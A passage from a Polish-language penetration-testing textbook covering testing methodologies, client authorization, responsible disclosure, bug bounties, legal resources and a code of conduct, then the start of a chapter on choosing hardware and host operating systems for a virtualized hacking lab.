 Penetration Testing Guidance (jest częścią standardu Payment Card Industry Data
Security Standard),

3681988c430c7fe1e8567c4e2f281f7b
3
Metodologie testów penetracyjnych 45

 Open Source Security Testing Methodology Manual (OSSTMM),

 The Open Web Application Security Project (OWASP) Testing Framework,
 MITRE Adversarial Tactics, Techniques, and Common Knowledge (ATT&CK).
Metodologie ułatwiają systematyczne poruszanie się pomiędzy poszczególnymi zadaniami,
dzięki czemu zyskujemy pewność, że niczego nie pominęliśmy. Poza tym pomagają uzyskać zgod-
ność z obowiązującym prawem i z zalecanymi praktykami. Firma Hacker House zaleca zapozna-
nie się ze standardem PTES (Penetration Testing Execution Standard — standard wykonywania
testów penetracyjnych), który jest dostępny pod adresem http://www.pentest-standard.org/index.php/
Main_Page. Standard PTES obejmuje wiele tematów, od początkowych rozmów z klientami, aż
do przygotowywania ostatecznego raportu. Podaje ogólne wskazówki dotyczące sposobu prze-
prowadzania testów penetracyjnych oraz wiele szczegółów opisujących sposoby realizacji wybra-
nych zadań.
Dobrym źródłem informacji jest też podręcznik OSSTMM (Open Source Security Testing Methodo-
logy Manual — podręcznik metodologii testowania bezpieczeństwa), który jest dostępny pod adresem
www.isecom.org. Trzecia wersja tego podręcznika ma już swoje lata i opisuje takie technologie jak PBX
(Provate Branch Exchange), głosowe skrzynki pocztowe, faksy oraz sieci ISDN (Integrated Services
Digital Network). Mimo to jest to bardzo przydatny dokument, jeżeli kiedykolwiek przyjdzie Ci pra-
cować z jedną z tych starszych technologii.
W tej książce korzystamy z elementów pochodzących z wielu różnych metodologii. Zawarliśmy
w niej również sporą dawkę osobistych doświadczeń, tworząc w ten sposób poradnik hakowania
i wykonywania testów penetracyjnych, przez co można odnieść wrażenie, że opisujemy tu nową
metodologię. Mimo to chcieliśmy, żeby ta książka była przystępniejsza i przyjemniejsza w odbiorze
niż podawane wcześniej przykłady. Będziemy skupiać się tu na narzędziach, technologiach i explo-
itach, które zazwyczaj nie są specjalnymi funkcjami tych technologii. W niektórych przypadkach
dobrze jest nieco bardziej zagłębić się w daną tematykę, na przykład w temat hakowania aplikacji
WWW. W takiej sytuacji należy poszukać również innych źródeł informacji specjalizujących się
w danym temacie. W pewnym momencie może się okazać, że musisz przygotować własną meto-
dologię, ponieważ żadna z istniejących na rynku nie pasuje do wymagań Twojej aktualnej pracy.
Techniki i strategie testowania podawane w tej książce zwykle realizują te same typowe kroki opi-
sywane też przez różne metodologie.
Analizując system lub technologię pod kątem realizacji zadań hakowania, zwykle stosujemy
poniższe, logiczne kroki:
1. Rekonesans.
2. Sondowanie pasywne i aktywne.
3. Enumerowanie.
4. Analiza podatności.
5. Wykorzystanie podatności.
6. Czyszczenie.

3681988c430c7fe1e8567c4e2f281f7b
3
46 Rozdział 2  Etyczne i legalne hakowanie

Autoryzacja
Jeżeli podejmujesz się wykonania testu penetracyjnego dla klienta, to bardzo ważne jest otrzymanie
pisemnej zgody na przeprowadzenie działań niezbędnych do wykonania całego testu. Podczas te-
stowania może się zdarzyć, że uzyskasz dostęp do obszarów zawierających wrażliwe dane, takie jak
informacje osobiste. Twój klient musi zdawać sobie z tego sprawę i autoryzować te działania. Nawet
jeżeli została podpisana umowa na testowanie systemów, a klient udzielił autoryzacji na prowadze-
nie określonych działań w wybranych systemach, to znalezienie podatności i wykorzystanie jej
w celu uzyskania dostępu do systemu niewymienionego w umowie oznacza złamanie prawa.
Mimo że pracujesz dla swojego klienta, który płaci Ci za wykonywane usługi, musisz chronić
się przed potencjalnymi prawnymi reperkusjami swoich prac. Z tego powodu warto jasno opisywać
zakres prowadzonych prac, stosując terminologię zrozumiałą dla klienta. Można to osiągnąć, przy-
gotowując kontrakt autoryzacji testów (zwykle ma postać formularza), na które zgadza się zarówno
tester, jak i jego klient. W kontrakcie powinien znaleźć się jasny zapis, że klient nie będzie skarżył
testera na podstawie ustawy Computer Misuse Act (lub podobnej, właściwej dla kraju przeprowa-
dzania testu). W umowie musi znaleźć się opis uzgodnionego zakresu prac. W zakresie prac musi
zostać wymieniona lista wszystkich systemów poddawanych testom, zwykle zawierająca też listę
adresów IP. Czasami podawane są również nazwy testowanych domen. W dokumencie dobrze jest
też zapisać wszystkie te systemy, które nie powinny być testowane.
Pomimo takiego zabezpieczenia dobrze jest porozmawiać z klientem przed użyciem exploitów,
które mogą spowodować szkody w systemie. Idealnym rozwiązaniem byłoby testowanie w środo-
wisku programistycznym lub przejściowym. Jednak nawet w takiej sytuacji najważniejsza jest jaw-
ność prowadzonych działań. Jeżeli znajdziesz podatność, której wykorzystanie może spowodować
wyłączenie całego systemu, to z całą pewnością należy o tym poinformować klienta, aby sprawdzić,
czy przeprowadzenie takiego testu jest pożądane. Realizując niebezpieczne prace, takie jak wyko-
rzystywanie zdalnych podatności, które mogą mieć wpływ na działanie systemu, musimy poinfor-
mować o tym właściciela tego systemu. Jasna komunikacja i przejrzystość działań są kluczowym
elementem w unikaniu nieporozumień powodujących wiele komplikacji w kontaktach z klientami.
Zawsze pamiętaj, że jesteś tylko gościem w środowisku komputerowym swojego klienta, a w Twoim
interesie leży to, żeby w przyszłości ponownie otrzymać zaproszenie do kolejnych prac.

Odpowiedzialne ujawnianie
Odpowiedzialne ujawnianie to praktyka polegająca na informowaniu producenta danego produktu
o wykrytej podatności i współpraca z nim przy jej usuwaniu. Jest to proces umożliwiający ochronę
klientów oraz użytkowników oprogramowania lub produktu, zakładający (jako ostatnią metodę
wywierania presji na producencie) możliwość opublikowania informacji o takiej podatności.
Rozważmy taką sytuację: pracujesz dla swojego klienta nad testem penetracyjnym, w ramach
którego znajdujesz nowy sposób uzyskania dostępu do wrażliwych informacji, co nie powinno być
możliwe. Ten błąd lub podatność nie wpływa bezpośrednio na naszego klienta, ale ma wpływ na
użytkowników tego oprogramowania. Podczas testów znajdujesz sposób wykorzystania tej podatności,

3681988c430c7fe1e8567c4e2f281f7b
3
Odpowiedzialne ujawnianie 47

po dalszych poszukiwaniach stwierdzasz, że to jest nieudokumentowana podatność i nie ma ni-

gdzie informacji o sposobach jej wykorzystania. Gratulacje! Masz w swoich rękach podatność
dnia zerowego (ang. zero-day vulnerability), która naraża na niebezpieczeństwo zwykłych użytkow-
ników i powinna zostać usunięta przez producenta oprogramowania. Podatność dnia zerowego
to nazwa błędów, które nie zostały jeszcze usunięte przez producenta i raczej nie są powszechnie
znane (czyli znane są tylko ich odkrywcom). Co należy w takiej sytuacji zrobić?
Po pierwsze, skoro pracujesz dla swojego klienta, to powinien on zostać jak najszybciej poin-
formowany. Podczas omawiania tak wrażliwych tematów należy podjąć działania w celu zabezpie-
czenia prowadzonej komunikacji. Dobrze jest szyfrować wiadomości e-mail za pomocą OpenPGP.
Skrót PGP rozwija się do Pretty Good Privacy (całkiem dobra prywatność), co opisuje metodę uzna-
waną za właściwą praktykę zabezpieczenia wiadomości (www.openpgp.org). Razem z klientem mo-
żecie ustalić, że trzeba skontaktować się z producentem oprogramowania i podać mu szczegóły
znalezionego błędu, aby (w najlepszym przypadku) od razu można było rozpocząć prace nad jego
usunięciem. W przypadku gdy klient nie będzie chciał opublikować informacji o podatności, do-
brze jest przypomnieć mu, że z tego oprogramowania korzystają również inne firmy. Pamiętaj jed-
nak, że Twoim zadaniem jest poinformowanie swojego klienta o znalezionych podatnościach. Jeżeli
klient nie będzie chciał ujawnić tej informacji stronom trzecim (w tym i producentowi oprogra-
mowania), to należy uszanować to życzenie.
Pewne błędy w oprogramowaniu można znaleźć, hakując własne systemy komputerowe.
W takiej sytuacji należy skontaktować się bezpośrednio z producentem oprogramowania. Zwy-
kle zaleca się, żeby dać producentowi 90 dni na przygotowanie odpowiedniej łatki. Oznacza to,
że producent ma 90 dni na zaimplementowanie poprawki dla znalezionego przez Ciebie błędu.
Po upływie tego czasu, jeżeli poprawka nie zostanie przygotowana (choć to zależy też od rodzaju
wykrytego błędu), odpowiedzialnym działaniem będzie ostrzeżenie zwykłych użytkowników tego
oprogramowania o istniejącym problemie. Do tego momentu o istnieniu tego błędu nie powi-
nien wiedzieć nikt poza Tobą i producentem oprogramowania (oraz Twoim klientem, jeżeli
z takim współpracujesz).
Stosując zasady odpowiedzialnego ujawniania, nie należy jednak „szantażować” producenta
oprogramowania ani stawiać go w kłopotliwej sytuacji. Z drugiej strony wiemy też, że niektórzy
producenci nie rozpoczną prac nad zgłoszonym błędem, jeżeli nie zostanie on ujawniony publicz-
nie. Część producentów nie chce współpracować z osobami zgłaszającymi błędy, a część w ogóle
nie chce przyjąć do wiadomości istnienia jakiegokolwiek błędu. Tacy producenci z pewnością będą
reagować agresywnie po publicznym ujawnieniu informacji o znalezionym błędzie, ale jeżeli sto-
sujesz się do nieformalnych, zalecanych praktyk, to raczej nie masz się czym przejmować. Ujaw-
niając informację o błędzie, zmuszasz producenta do przyjrzenia się błędowi, który normalnie za-
pewne zostałby zignorowany. W takiej sytuacji pomagasz jednak klientom, ponieważ producent
zostaje w ten sposób zmuszony do poprawienia błędu, aby nie tracić klientów. Jako hakerzy mamy
moralny obowiązek poinformować o zagrożeniu opinię publiczną oraz wszystkich tych, którym
ten błąd zagraża. Trzeba jednak zawsze rozważyć zalety i wady opublikowania informacji o znale-
zionych błędach.

3681988c430c7fe1e8567c4e2f281f7b
3
48 Rozdział 2  Etyczne i legalne hakowanie

Jeden z autorów tej książki ujawnił błędy w programie WinZip, które zaczęły być
wykorzystywane przez chciwych przestępców poszukujących zysków w niezabezpieczo-
nych systemach. Niedługo po ujawnieniu tych błędów w pakiecie MPack (zbiór złośliwych
narzędzi tworzony przez rosyjskich hakerów) pojawiły się exploity korzystające z tych po-
datności. Pakiet MPack często zaliczany jest do kategorii crimeware, ponieważ jest przygo-
towywany na potrzeby przestępców. Jest on sprzedawany w cenie od 500 do 1000 dolarów
za możliwość pobrania. Gdyby autor mógł przewidzieć, co stanie się z jego odkryciem, z całą
pewnością znacznie dłużej utrzymywałby znalezione błędy w tajemnicy.

Gdy tylko producent przygotuje odpowiednią poprawkę (łatkę) dla swojego produktu, należy
odczekać kolejnych 30 dni, aby klienci mieli możliwość pobrania i zastosowania takiej poprawki.
Nie istnieją żadne prawa nakazujące stosowanie takich odstępów czasowych, ale tak wygląda po-
wszechnie przyjęty harmonogram ujawniania informacji o podatnościach, do którego stosuje się
większość hakerów.
Podczas przekazywania producentowi informacji o podatności z pewnością zauważysz, że
niektórzy odnoszą się do Ciebie wrogo, podczas gdy inni są otwarci i przyjaźni. Praktyką często
stosowaną przez producentów oprogramowania jest nagradzanie osób zgłaszających różne błędy
przez dopisanie ich do listy współtwórców programu (zobacz na przykład www.mozilla.org/en-US/
security/bug-bounty/hall-of-fame). Czasami można też liczyć na mały prezent, a nawet nagrodę pie-
niężną. Nie należy jednak oczekiwać tego rodzaju wynagrodzenia, ponieważ takie nagrody są wy-
jątkami, a nie normą.

Programy nagród za błędy

Niektóre organizacje i firmy, chcąc poprawić poziom swoich zabezpieczeń, wprowadziły rozwią-
zania umożliwiające testowanie ich aplikacji lub produktów wszystkim chętnym programistom.
Takie rozwiązania nazywane są programami nagród za błędy (ang. bug bounty program). Do najpopu-
larniejszych platform realizujących takie usługi należą www.bugcrowd.com oraz www.hackerone.com.
W publicznym programie nagród za błędy każdy może przeprowadzić pewne operacje na wy-
branych systemach i usługach. Chodzi o to, że w przypadku znalezienia podatności lub błędu
można go łatwo zgłosić w firmie produkującej dany system. W nagrodę znalazca błędu może liczyć
na pieniężne wynagrodzenie, tak zwaną nagrodę, a firma może załatać dziurę w swoich zabezpie-
czeniach bez narażania się na jej złośliwe wykorzystanie.
To świetne rozwiązanie dla hakerów i osób rozpoczynających pracę w tej dziedzinie, ponieważ
daje rzeczywiste doświadczenia związane ze skutecznym przeprowadzaniem testów penetracyj-
nych, raportowaniem ewentualnie znalezionych problemów w sposób umożliwiających firmom
odtworzenie warunków występowania błędu i jego usunięcie.
Wielu hakerów korzysta z takich programów nie z powodu samych nagród, ale dla radości, jaką
daje poszukiwanie błędów! Te programy są też świetną metodą zbierania doświadczeń i dobrym
tematem dyskusji podczas rozmów kwalifikacyjnych. Trzeba się tylko upewnić, że korzystamy
z legalnego programu i działamy w wyznaczonych ramach projektu.

3681988c430c7fe1e8567c4e2f281f7b
3
Porady prawne 49

Porady prawne
Usługi prawników specjalizujących się w cyberprzestępczości nie należą do tanich — są naprawdę
drogie. Oczywiście wszystko zależy od kraju, w którym pracujesz, panującego w nim systemu praw-
nego i typu wymaganej porady. Z tego powodu z pewnością każdy próbuje jak najrzadziej korzystać
z usług prawników, ale gdy znajdziesz się w kłopotach, to lepiej zwrócić się do kogoś, kto dobrze
zna się na prawie komputerowym. W tej dziedzinie często słyszy się o zadziwiających wyrokach,
co zwykle wynika z niezrozumienia szczegółów prawa związanego z komputerami przez „zwyczaj-
nych” prawników. Autorzy tej książki nie są prawnikami, dlatego nie zachęcamy do przedkładania
naszych porad ponad usługi wyspecjalizowanych prawników.
Na szczęście istnieją organizacje, które zajmują się sprawami zwykłych ludzi. Jedną z takich
organizacji jest fundacja EFF (Electronic Frontier Foundation), która pomogła już wielu osobom
i małym firmom obronić się w sporach z wielkimi korporacjami. Na przykład weźmy przypadek,
gdy 28 największych firm rozrywkowych pod przywództwem MGM Studios próbowało pozwać
dystrybutorów oprogramowania pozwalającego udostępniać pliki w sieci peer-to-peer pod zarzu-
tem piractwa treści chronionych prawem autorskim. Inny przykład to sytuacja, gdy fundacja po-
zwała firmę Sony BMG za infekowanie komputerów użytkowników oprogramowaniem, które mo-
gło niejawnie przekazywać firmie informacje o muzyce słuchanej przez użytkownika.
W internecie fundację EFF można znaleźć pod adresem www.eff.org. W wielu przypadkach
może bezpośrednio posłużyć pomocą albo skontaktować z jednym z zaufanych prawników. Orga-
nizacja prowadzi też projekt zajmujący się prawami programistów (ang. Coders Rights Project —
www.eff.org/issues/coders) i wieloma typowymi problemami prawnymi, z którymi muszą zmagać
się w USA hakerzy i badacze związani z bezpieczeństwem danych. Fundacja EFF jest organizacją
amerykańską, ale w Europie istnieje podobne stowarzyszenie o nazwie European Digital Rights
(edri.org), które działa już w kilku europejskich państwach.
Te organizacje nie będą wspomagać Cię w Twoich codziennych sprawach. Tutaj lepiej jest skon-
taktować się z zaufanym prawnikiem. Takie organizacje często są jednak w stanie wskazać najlepszych
ekspertów z różnych dziedzin. W przypadku aresztowania albo przy pojawieniu się komplikacji
prawnych wynikających z etycznych działań hakerskich od razu szukaj pomocy prawnej.

Kodeks postępowania firmy Hacker House

Ludzie uczestniczący w kursach oferowanych przez firmę Hacker House proszeni są na początek
o podpisanie kodeksu postępowania firmy Hacker House. Nie możemy zmusić czytelników tej
książki do podpisania tego dokumentu, ale mamy nadzieję, że z uzyskanych tu informacji będziesz
korzystać w sposób legalny, moralny i etyczny.
W tej książce będziemy poszukiwać słabości i podatności, a następnie będziemy je wykorzysty-
wać, tak jak to robimy w rzeczywistym świecie. Rozwiązania i techniki opisywane w tej książce
mogą zostać użyte również do popełniania przestępstw. Na podobnej zasadzie książka poświęcona
księgowości może pomóc złośliwemu księgowemu w praniu brudnych pieniędzy, a nieetyczny le-
karz może wykorzystywać książki medyczne do szkodzenia swoim pacjentom. Mamy zatem na-
dzieję, że narzędzia i techniki opisywane w tej książce wykorzystasz do aktywnego poprawiania
bezpieczeństwa informacji i skuteczniejszego chronienia systemów komputerowych.

3681988c430c7fe1e8567c4e2f281f7b
3
50 Rozdział 2  Etyczne i legalne hakowanie

Podsumowanie
Oto kilka spraw, o których warto pamiętać podczas nauki hakowania:
 Przed przystąpieniem do hakowania systemu uzyskaj zgodę na to od jego właściciela.
 Pracując dla klienta, staraj się dokładnie zdefiniować zakres prowadzonych prac.
Co jest dozwolone? Które systemy mają być testowane?
 Poproś klienta o podpisanie autoryzacji dla testów prowadzonych zgodnie z kontraktem,
co uwolni Cię od odpowiedzialności za ewentualnie powstałe szkody.
 Nie wykraczaj poza ustalony zakres projektu.
 Od samego początku działaj otwarcie i przejrzyście, aby uniknąć ewentualnych komplikacji.
 W razie potrzeby poszukaj profesjonalnej pomocy prawnej. Z pewnością przyda się ona
też przy tworzeniu własnych dokumentów autoryzacji prac testowych.
 Gdzie to istotne, postępuj zgodnie z zalecanymi praktykami odpowiedzialnego
ujawniania informacji.
Życzymy dużo radości przy hakowaniu!

3681988c430c7fe1e8567c4e2f281f7b
3
 Rozdział

3
Przygotowanie narzędzi
do hakowania

W tym rozdziale zaprezentujemy koncepcję maszyn wirtualnych (VM — Virtual Machines), któ-
rych można używać do bezpiecznych ćwiczeń i traktować jak „piaskownice” do wypróbowywania
nowych narzędzi i technik. Przedstawimy też sposób konfigurowania swojego systemu hosta, czyli
fizycznego komputera i działającego w nim systemu operacyjnego, przygotowując go do pracy
z maszynami wirtualnymi (gośćmi).
Istnieją niezliczone sposoby konfigurowania systemu, a wiele rozwiązań zależy od osobistych
preferencji. Pamiętając o tym, zaprezentujemy przegląd możliwości konfiguracji systemu (są to
rzeczy, które z pewnością nie są Ci całkiem obce), a potem przejdziemy do szczegółów konfiguro-
wania maszyn wirtualnych na potrzeby hakowania. Porozmawiamy też o różnorodności sprzętu,
cały czas pamiętając, że mamy do wyboru wiele opcji.
Będziemy też starać się uczulić Cię na sprawy związane z bezpieczeństwem i higieną własnych
informacji. Podamy zatem też kilka wskazówek, jak należy chronić własny system przed intruzami.
Jest to szczególnie istotne, jeżeli chcesz wykorzystać taki system do testowania sieci swojego klienta,
ponieważ prawdopodobnie znajdą się w nim dane Twojego klienta, a być może też szczegółowe
opisy znalezionych podatności! W tym przypadku również przychodzą nam z pomocą maszyny
wirtualne, które pozwolą nam oddzielić te informacje od reszty systemu.
Na początku pomówimy o sprzęcie, a potem przejdziemy do instalowania systemu operacyj-
nego. Następnie zainstalujemy oprogramowanie VirtualBox — darmowego hypervisora o otwar-
tych źródłach, co pozwoli nam tworzyć maszyny wirtualne i nimi zarządzać.

51

3681988c430c7fe1e8567c4e2f281f7b
3
52 Rozdział 3  Przygotowanie narzędzi do hakowania

Sprzęt do hakowania
Teraz przyjrzymy się kilku rozwiązaniom sprzętowym, które można rozważać, jeżeli przygotowu-
jemy się do zakupu lub skonfigurowania komputera na potrzeby hakingu. Najprawdopodobniej
Twój aktualny komputer jest wystarczająco rozbudowany jak na potrzeby zadań omawianych w tej
książce, ponieważ wymagania sprzętowe działań hakerskich nie są szczególnie wysokie. Na upar-
tego można przeprowadzić cały test penetracyjny za pomocą komputerka Raspberry Pi, choć nie
jest to zalecane rozwiązanie. Wystarczy porównać to do gier komputerowych, które do działania
wymagają bardzo wydajnych kart graficznych, ogromnych ilości pamięci i nowoczesnych proceso-
rów. Do poszukiwania najnowszych podatności nie potrzeba tego rodzaju sprzętu.

Smartfony, tablety, chromebooki i komputery jednopłytkowe (SBC — Single-Board

Computer) takie jak Raspberry Pi nie najlepiej nadają się do wykonywania działań opisywa-
nych w tym rozdziale. Takie urządzenia są zwykle wyposażone w procesory ARM (skrót ARM
pierwotnie był rozwijany do nazwy Acorn RISC Machine, ale dzisiaj stosuje się rozwinięcie
Advanced RISC Machine), które nie mogą się pochwalić pełną obsługą wirtualizacji, jaką
oferują procesory firm Intel lub AMD typowo montowane w komputerach stacjonarnych
i laptopach. Nie oznacza to, że tych urządzeń nie da się używać do hakowania. Co więcej,
bardzo często okazuje się, że świetnie się nadają do takich prac. Niestety nie pozwalają one
uruchomić maszyn wirtualnych za pomocą stosowanego przez nas oprogramowania
VirtualBox. Procesory ARM wyposażone są w ograniczoną listę instrukcji (RISC — Reduced
Instruction Set Computer), co można wyczytać w rozwinięciu skrótu tej nazwy. Procesory
typu RISC mają mniejszy zbiór instrukcji ogólnego przeznaczenia, w przeciwieństwie do pro-
cesorów typu CISC (Complex Instruction Set Computer), takich jak nowoczesne konstrukcje
firm Intel i AMD. Instrukcje związane z wirtualizacją znajdują się właśnie na rozbudowanej
liście instrukcji oferowanych przez te procesory.

Najważniejszą sprawą związaną ze sprzętem jest to, czy jest on w stanie obsługiwać maszyny
wirtualne. W tej książce korzystamy z oprogramowania VirtualBox, dlatego nasze wymagania po-
dajemy z założeniem, że i Ty z niego skorzystasz. Oczywiście istnieją też inne hypervisory, takie jak
Vmware (https://www.vmware.com) lub Hyper-V (dostępny w niektórych wersjach systemu Windows),
ale w ich standardowych wersjach zwykle brakuje pewnych funkcji dostępnych w VirtualBoksie.
Do wykonania ćwiczeń prezentowanych w tej książce całkowicie wystarczy komputer o specyfi-
kacji podanej poniżej, niezależnie od tego, czy Twój komputer pracuje w systemie Linux, BSD, Win-
dows lub macOS. Oto minimalne wymagania dla sprzętu, aby wykonać działania omawiane w tej książce
(oczywiście przy założeniu, że aktualnie nie masz jeszcze zainstalowanych żadnych komponentów):
 Nowoczesny procesor firmy AMD lub Intel udostępniający instrukcje z rozszerzenia
Streaming SIMD Extensions 2 (SSE2). Skrót SIMD (Single Instruction, Multiple Data
— jedna instrukcja, wiele danych) oznacza zbiór instrukcji przygotowanych przez firmę
Intel, wymagany przez VirtualBox do poprawnego działania.
 4 GB pamięci RAM.
 50 – 100 GB przestrzeni na dysku HDD lub SSD.
 Dostęp do internetu umożliwiający pobierania oprogramowania.

3681988c430c7fe1e8567c4e2f281f7b
3
Sprzęt do hakowania 53

Niemal wszystkie nowoczesne procesory sprzedawane przez firmy Intel i AMD umożliwiają
pełną wirtualizację. Zwykle można to szybko sprawdzić w ustawieniach BIOS-u komputera albo
w ustawieniach UEFI. Podczas uruchamiania maszyn wirtualnych przydaje się też komputer z wie-
loma rdzeniami procesora. Podczas konfigurowania maszyny wirtualnej można określić, z ilu
rdzeni może ona korzystać. Na potrzeby tej książki w zupełności wystarczają dwa fizyczne rdzenie,
a cztery wydają się być pewną przesadą.
Kolejną sprawą jest ilość pamięci zamontowanej w komputerze. Im więcej pamięci, tym lepiej,
ponieważ jej część trzeba przeznaczyć na uruchomienie maszyn wirtualnych. Zwykle jednak 4 GB
pamięci wystarczają do uruchomienia systemu operacyjnego hosta oraz maszyny wirtualnej z sys-
temem Kali Linux i wirtualnego serwera, do którego będziemy się włamywać. Mimo to właśnie
tutaj warto zainwestować w rozbudowę sprzętowych możliwości komputera. Po prostu każda uru-
chamiana maszyna wirtualna przejmuje część pamięci komputera na swoje potrzeby. W zależności
od systemu operacyjnego hosta z 4 GB pamięci zainstalowanej na komputerze Windows zajmie 1,5 GB,
1,5 GB będzie potrzebne do pracy systemu Kali Linux, a 1 GB przeznaczymy na wirtualny serwer.
To nie pozostawia zbyt wiele miejsca na pozostałe programy, dlatego wykonywanie różnych operacji
może zajmować więcej czasu.
Równie ważne jest też miejsce na dysku. Na przykład system operacyjny hosta może zająć
20 GB przestrzeni na dysku i to bez zainstalowanych dodatkowych programów. Maszyna wirtualna
z systemem Kali Linux będzie musiała mieć przynajmniej taką samą wielkość, ponieważ musi się
w niej zmieścić cały osobny system operacyjny. Kolejne maszyny wirtualne będą potrzebowały
osobnego miejsca na dysku. Na szczęście dzisiaj przestrzeń dyskowa jest naprawdę tania.
Nie wspominamy tutaj o kartach graficznych, ponieważ żadne z używanych przez nas narzędzi
nie potrzebuje rozbudowanych możliwości graficznych. Wiele prac będziemy wykonywać w oknie
wiersza poleceń, choć czasami skorzystamy też z narzędzi z interfejsem graficznym. Jeżeli Twój
komputer może uruchomić przeglądarkę sieciową i odtwarzać strumieniowane wideo, to znaczy,
że nadaje się do wykonywania ćwiczeń z tej książki. W jednym przypadku może się jednak przydać
mocniejsza karta graficzna. Będzie nam potrzebna podczas łamania skrótów haseł. Tę pracę (łama-
nie skrótów haseł) można uznać za zupełnie odmienny rodzaj działań w porównaniu z hakowa-
niem, jakim będziemy się zajmować w większej części tej książki. Hasłom i ich przełamywaniu
przyjrzymy się w rozdziale 14. „Hasła”.

Najlepiej od razu sprawdź, czy Twój sprzęt, a w szczególności procesor, umożliwia

wirtualizację. Nowoczesne procesory, takie jak te produkowane przez firmy Intel i AMD,
noszą różne nazwy dla funkcji umożliwiających wirtualizację, na przykład Intel VT-x lub
AMD-V. W ustawieniach BIOS-u lub UEFI powinna być dostępna opcja włączająca te funkcje.
W komputerach z systemami Windows są one domyślnie wyłączone. Z kolei współczesne
komputery z systemem macOS mają domyślnie włączoną funkcję wirtualizacji.

Jeżeli zdecydujesz się zawodowo zająć hakowaniem, to na pewno przyda Ci się znacznie bar-
dziej rozbudowany system. Na potrzeby bardziej zaawansowanych prac zalecamy wyposażyć się
w komputer o takiej specyfikacji:
 Nowoczesny procesor firmy Intel lub AMD z przynajmniej czterema rdzeniami.
 32 GB pamięci RAM.

3681988c430c7fe1e8567c4e2f281f7b
3
54 Rozdział 3  Przygotowanie narzędzi do hakowania

 1 TB przestrzeni dyskowej.
 Przewodowy i bezprzewodowy interfejs sieciowy.
 Szerokopasmowy dostęp do internetu.
Nie wspominamy tu o klawiaturach, ale skoro spędzisz teraz sporo czasu, wpisując różne pole-
cenia i pisząc raporty, dobrze jest mieć przed sobą wygodną klawiaturę. Na temat działania różnych
modeli klawiatur można dyskutować naprawdę długo, a do wyboru mamy równie wiele modeli, co
modeli samych laptopów. Z pewnością właściwym wyborem będzie dobra, mechaniczna klawia-
tura, choć jej głośna praca może źle wpływać na kolegów z pracy.

Na pewnym etapie możesz zainteresować się klawiaturę HHK (Happy Hacking

Keyboard), która składa się z minimalistycznego układu 60 klawiszy i została zoptymalizo-
wana do lepszej pracy z systemami uniksowymi. Na pomysł takiej klawiatury wpadł japoński
naukowiec komputerowy Eiiti Wada, który był bardzo rozczarowany domyślnymi układami
klawiszy w klawiaturach komputerowych przeznaczonych dla programistów. Klawiatury
HHK świetnie sprawdzają się podczas hakowania, ale zdecydowanie gorzej podczas pisania
raportów. Aby dowiedzieć się więcej, a może nawet kupić taką klawiaturę, zajrzyj na stronę
hhkeyboard.com.

Dobrze jest też upewnić się, że Twój komputer będzie miał złącze Ethernet, ponieważ część
nowszych, lekkich komputerów jest go pozbawiona. Pewnym rozwiązaniem może być też użycie
adaptera Ethernet podłączanego do portu USB.

Linux czy BSD?

Dość szybko zauważysz, że autorzy tej książki bardzo chętnie korzystają z systemu Linux. Linux
wyjątkowo dobrze nadaje się do hakowania i nie wynika to wyłącznie z faktu, że spora część inter-
netu działa na tym systemie operacyjnym. Co więcej, ogromny zbiór narzędzi związanych z bez-
pieczeństwem został napisany specjalnie dla Linuksa. Co prawda można skompilować te narzędzia
dla takich platform jak OpenBSD lub macOS, ale wtedy często nie działają one zgodnie z oczeki-
waniami albo po prostu gorzej w porównaniu z wersją dla Linuksa.
Większość ćwiczeń i przykładów przedstawianych w tej książce korzysta z Linuksa. Zapewne
ich wykonywanie będzie dla Ciebie przyjemniejsze, jeżeli już dzisiaj zmienisz przyzwyczajenia
i zaczniesz używać Linuksa jako swojego podstawowego systemu. To chyba najlepsza metoda na
zapoznanie się z tym systemem. Jeżeli jednak korzystasz z systemów Microsoft Windows lub
macOS, to nie musisz ich od razu porzucać. Możesz przecież uruchomić maszynę wirtualną dzia-
łającą w podstawowym systemie operacyjnym. W takiej maszynie wirtualnej możesz zainstalować
Linuksa i zachować przyzwyczajenia z używania aktualnego systemu operacyjnego, a jednocześnie
zacząć uczyć się obsługi nowego systemu.
Jeżeli zdecydujesz, że chcesz wybrać tę drogę, to możesz od razu przejść do podrozdziału „Pod-
stawowe oprogramowanie”. To samo dotyczy też osób, które już teraz używają Linuksa i mają dzia-
łającą dystrybucję (w skrócie — distro), z której są całkiem zadowolone.

3681988c430c7fe1e8567c4e2f281f7b
3
Systemy operacyjne hosta 55

Jako alternatywne rozwiązanie można potraktować system BSD (Berkley Software Distribution),
a raczej jeden z jego wariantów, takich jak NetBSD, OpenBSD lub FreeBSD. Te systemy operacyjne
bazują co prawda na Uniksie, a nie na Linuksie, ale znajdziemy w nich wiele rozwiązań projek-
towych znanych z Linuksa.
Najważniejsze różnice między różnymi dystrybucjami Linuksa zwykle sprowadzają się do róż-
nych sposobów zarządzania pakietami oraz częstością dostarczania aktualizacji bezpieczeństwa.

Na potrzeby naszych ćwiczeń oraz realizowania zadań przedstawianych w tej

książce możemy swobodnie korzystać z pakietów dostarczanych w wybranej dystrybucji.
Jeżeli jednak chodzi o testowanie systemów klienta, to zalecamy przyjrzeć się kodowi źró-
dłowemu używanych narzędzi i programów, a w razie potrzeby samodzielnie je skompilo-
wać. Jeżeli używane przez nas narzędzie uszkodzi system klienta, a my nie mamy pojęcia
o tym, jak to narzędzie działa, to możemy zostać pociągnięci do odpowiedzialności.

Systemy operacyjne hosta

System operacyjny hosta jest systemem zainstalowanym na fizycznym komputerze. Już wcześniej
wspomnieliśmy, że Linux to chyba najlepszy wybór, jeżeli chodzi o wykonywanie testów bezpie-
czeństwa. Powstaje zatem pytanie, której dystrybucji Linuksa powinniśmy użyć. Do popularnych
dystrybucji przeznaczonych do prac nad bezpieczeństwem należą Arch Linux i Debian. Wielu no-
wych użytkowników Linuksa wybiera dystrybucję Ubuntu (która bazuje na Debianie). Zastanówmy
się zatem, czym różnią się poszczególne dystrybucje Linuksa, co powinno ułatwić podjęcie decyzji
o wyborze systemu. Oczywiście nie wymienimy tu wszystkich istniejących dystrybucji Linuksa.
Istnieją też inne ciekawe dystrybucje, którym na pewno warto się przyjrzeć, takie jak Linux Mint.

Gentoo Linux
Dystrybucja Gentoo Linux umożliwia pełne dostosowanie systemu do swoich potrzeb. W razie po-
trzeby można ją zbudować od podstaw, nie korzystając z żadnych gotowych komponentów binar-
nych. Z punktu widzenia bezpieczeństwa umożliwia to dokładne sprawdzenie kodu źródłowego
opisującego to, jak ma działać nasz komputer. Jeżeli chcesz zawsze korzystać z najnowocześniej-
szych funkcji Linuksa, to Gentoo z pewnością jest systemem dla Ciebie, ponieważ zmiany wpro-
